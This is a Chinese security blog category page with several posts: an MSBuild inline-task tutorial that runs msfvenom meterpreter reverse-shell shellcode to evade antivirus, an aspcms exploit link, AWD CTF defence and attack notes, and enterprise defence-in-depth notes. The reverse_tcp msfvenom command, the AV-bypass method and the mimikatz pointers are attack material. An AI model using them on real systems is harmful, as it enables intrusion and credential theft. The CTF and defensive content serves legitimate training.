分类 网络安全 下的文章

Msbuild 利用reverse-shell

msbuild简介:
Microsoft Build Engine是一个用于构建应用程序的平台。 该引擎(也称为MSBuild)为控制构建平台如何处理和生成软件的项目文件提供了一个xm l schema。 ... Visual Studio 中的项目文件(.csproj、.vbproj、vcxproj 等)含有相应的MSBuild xm l 代码。
利用思路:
Msbuild从.net4.0中可以嵌入执行C#代码,所以可以将xml文件通过msbuild编译执行xml当做shellcode启动器。
使用Msfvenom生成CSharp shellcode
使用MSBuild平台将shellcode启动器其编译为可执行程序。
绕过av白名单,可以获得受害者机器的反向shell。
1、构造1.csproj(等待编译的文件)
文件内容:
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20x64%20shellcode.xml
生成shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.99.178 lport=1233 -f csharp
QQ20190330-235519@2x.png
并将生成的shellcode复制到xml中原shellcode段。
注意这里讲buf改成shellcode。
从攻击机中监听1233端口。等待反向连接
QQ20190330-235540@2x.png
QQ20190330-235550@2x.png

可以看到已经成功反弹meterpreter。三款杀毒均未报毒。

看到三好学生以前的文章,还可以执行ps命令和mimikatz
相关代码在上面
https://github.com/3gstudent/msbuild-inline-task/blob/master/executes%20mimikatz.xml
可以通过这样混淆来bypass av。

参考:
https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/

自动注入脚本aspcms利用
本来是个师傅共享在ichunqiu的,结果因为编码转码问题用的是py3写的。原文链接:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=41269

我的设备从树莓派到deepin都是默认py2,很不方便的说,所以就修改了下,把编码解决了。

这是url采集:https://github.com/knickersgod/python-tools/blob/master/aspcms-url.py
这是exp:https://github.com/knickersgod/python-tools/blob/master/aspects-exp.py

图片5.png
图片6.png
图片7.png

Awd脚本说明记录
1、Monitor
封装好的直接运行,作用目录是/var/www/html

/usr/local/lib/python2.7/site-packages/

monitor使用
创建文件删除,修改文件有提示。
图片13.png
图片14.png

2、waf生成日志被删除。
图片15.png
修改日志生成路径。
图片16.png
图片17.png
图片18.png
3、weblogger
将weblogger上传到网站目录下,可以改名,随意。
图片20.png
访问/weblogger/install.php
图片21.png
图片22.png
图片23.png
图片24.png
图片25.png
有黑白名单设置,有wef,可以自己构造出poc,在kali下可以直接运行。
如果需要放行对方或者自己ip
图片26.png
执行

echo  ‘’ > /tmp/xxxxxxx/hhhhblacklist就可以放行了
find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/98366ed74d36da9dd6c07cc3aacc0c80\/weblogpro.php');\n/g"

将网站目录下所有php文件挂上waf

Awd线下赛总结
Part I:
注意事项:
1.比赛的时候web守护机为Linux系统,权限非常低,你就认为是只能操作html目录就可以了。
2.据了解,他们判定宕机的情况是网页功能不能正常访问就行,如:删除页面,页面功能不正常(登陆验证码没了都算宕机)
3.不可以使用DDOS攻击
4.不能使用外网环境。
Part II:
问题
1.PHP的代码审计技巧和审计工具推荐
seay
链接: https://pan.baidu.com/s/1n6IbF10DToZ6XqWPjBBz0Q 密码: ubc9
提前准备好各种cms的poc exp (因为你们不允许联网)phpwin phpcms dz
everything find
2.Python脚本的编写:文件监控、预留后门批量利用、flag批量提交、审计出来的漏洞的利用。

linux文件监控脚本.py(十分钟内新生成的文件删除)
D盾扫描完 服务器上传seayfindshell脚本,将生成列表保存在1.txt,隔一段时间对比下1.txt
flag批量提交(让防守队员进行脚本修改,批量获取flag/批量提交flag)
审计出来的漏洞比较耗时间,我更倾向于如果本机发现别人的shell,那就利用它进行手动/自动攻击别人的机器,善于怼别人的后门。

不死马清理:

`ps aux www|grep shell.php` 找到pid后杀掉进程就可以,你删掉脚本是起不了作用的,因为php执行的时候已经把脚本读进去解释成opcode运行了

重启php等web服务

用一个`ignore_user_abort(true)`脚本,一直竞争写入(断断续续)。usleep要低于对方不死马设置的值。
    创建一个和不死马生成的马一样名字的文件夹。

3.不死马、waf、抓流量的waf

    不死马使用原理就是不断将的自己写入,造成进程占用,被删除后一秒就已经生成新的了,还有就是.XXX文件建立隐藏文件不死马。
    waf,脚本waf可以防止一般情况下的危险字符,但是不能报太大希望,
        

require_once('waf.php');
    抓流量waf,挂载后可以让防守队员_实时关注日志,一旦发现被getflag了,就通过日志相应的手法攻击别人

4.审计出漏洞后的利用办法。
分析和利用,骚操作,不管你多厉害,只要你能利用。我也就能利用(md5马不想说话)。

流程:一、防御
1、cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head -  查看当前访问量前十的链接

2、文件监控增删改查的文件使用脚本Monitor(一个简单的文件监控示例脚本,可以监控创建、删除、移动、属性修改操作,自动删除新增文件或目录。已使用pyinstaller打包成了linux可执行程序)

3、chattr +i 命令锁死网站目录和文件,防止其他队伍删除网站宕机。注:添加后不取消特殊权限 即使是root用户也无法删除/修改文件(

chattr -R +i /var/www/html  
chattr -R +i /var/www/html/*   
(取消命令将+号改成-   chattr -R -i /var/www/html)

4、weblogger监控所有访问连接 配合第一条命令使用判断别人的poc

5、通过iptables/firewall 禁止非相关端口开放(蓝帽杯不建议)

6、 漏洞修复简单粗暴
CTF比赛中修复漏洞主要就是为了防止其他队伍的入侵了。

  1. 删站:如果赛组没有明确禁止,这是最粗暴的姿势,只留自己的webshell,参加过几场比赛确实遇到了这种尴尬的事情,web攻防最后都演变成了拼手速的“GetShell+留后门+删站”。

  2. 破坏正常功能:无法修复但是发现被功能攻击那就删除相关函数,或者将页面新建一个空白的PHP文件(慎用)。rce,sql
    7、使用waf全局包含waf,注意waf的日志和weblogger日志与第二项文件监控冲突,建议建立文件夹将日志和weblogger日志放到指定文件夹中,避开文件监控,

find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php/<?php\nrequire_once('\/tmp\/98366ed74d36da9dd6c07cc3aacc0c80\/weblogpro.php');\n/g"命令的意思就是查找/var/www/html目录下所有php文件,在头部添加一句,用require函数引入/tmp/waf.php文件。

sudo -i 输入你用户密码

8、后台一定要登陆后台,有没有弱口令,修改成强口令。

9、不只是后台,phpmyadmin、测试页面容易出现sql注入,rce之类的这些。(看我下午发的那个视频,那个视频里面操作内容。)

企业安全建设笔记

业务网纵深防御体系建设
甲方安全的主要职责是保护公司互联网业务的安全,比如业务持续性、业务数据的私密性,所以需要优先解决以下问题:
抗 DDoS,保障业务的持续性。
防拖库,保护业务数据的私密性,防止用户数据、交易数据等核心数据被窃取。
防后门,防止黑客非法获取服务器权限。

常见防御体系
1、边界防御体系
防火墙,waf之类的边界防护设备/软件,在网络边界进行部署,类似城堡/木桶。
2、纵深防御体系
多层防护措施,提高入侵成本和难度,
常见分层结构如下图。

对应的安全产品为:
·数据库 端:数据库 审计、 数据库 防火墙。
·服务器 端:主机IDS、 服务器 杀毒、 内核 加固 类 产品、 主机 WAF。
·网络 层: IDS、Web 威胁 感知、 Web 审计。
·网络 边界: 防火墙、UTM、 WAF、 IPS、 本地 流量 清洗 设备。
刘焱. 企业安全建设入门:基于开源软件打造企业网络安全 (网络空间安全技术丛书) (Kindle 位置 322-324). 北京华章图文信息有限公司. Kindle 版本.
3、河防体系
在严格的控制范围内将被攻击/未被攻击的主机提前进行隔离,降低攻击造成的影响,使其在可控的范围内进行攻击。(银行,金融等行业)
4、塔防体系
纵深防御+终端防御+云
5、下一代纵深防御体系
从传统的边界防护过渡到新一代的基于预测、检测、协同、防御、响应、溯源理念的Web纵深防御。威胁情报好比是积累的知识,大数据和人工智能好比是聪明的大脑,WAF、SIEM、服务器安全等好比是有效的武器,大家互相配合,实现了下一代的纵深防御,在对已知威胁有较好的防御能力外,对于未知威胁也具有一定防御能力。阿里、腾讯、百度、金山、UCLOUD等都在自己的云上不同程度实现了下一代纵深防御的理念,比如阿里云的防御产品集合云盾(包括高防IP、WAF和安骑士)+检测产品集合态势感知方案,腾讯云的主机防护产品集+大禹网络安全产品集,金山的海陆空防御体系等。图2-3是下一代Web纵深防御的一种实现。
刘焱.企业安全建设入门:基于开源软件打造企业网络安全(网络空间安全技术丛书)(Kindle位置338-344).北京华章图文信息有限公司.Kindle版本.

将防护和威胁情报信息等服务联动,进行实时/提前预知的方式来进行防御。

WAF的缺陷
1、防护能力不足:
waf依赖规则和正则,灵活性较大的语言很容易就可以绕过waf的防护。
2、缺少业务安全的防护能力:
比如说短信接口的短信轰炸,薅羊毛,撞库。
3、审计能力不足:
多数waf智能保存url,和请求头,并没有记录详细信息的内容,对于事后的应急响应审计日志造成了影响。对于https更无法记录内容。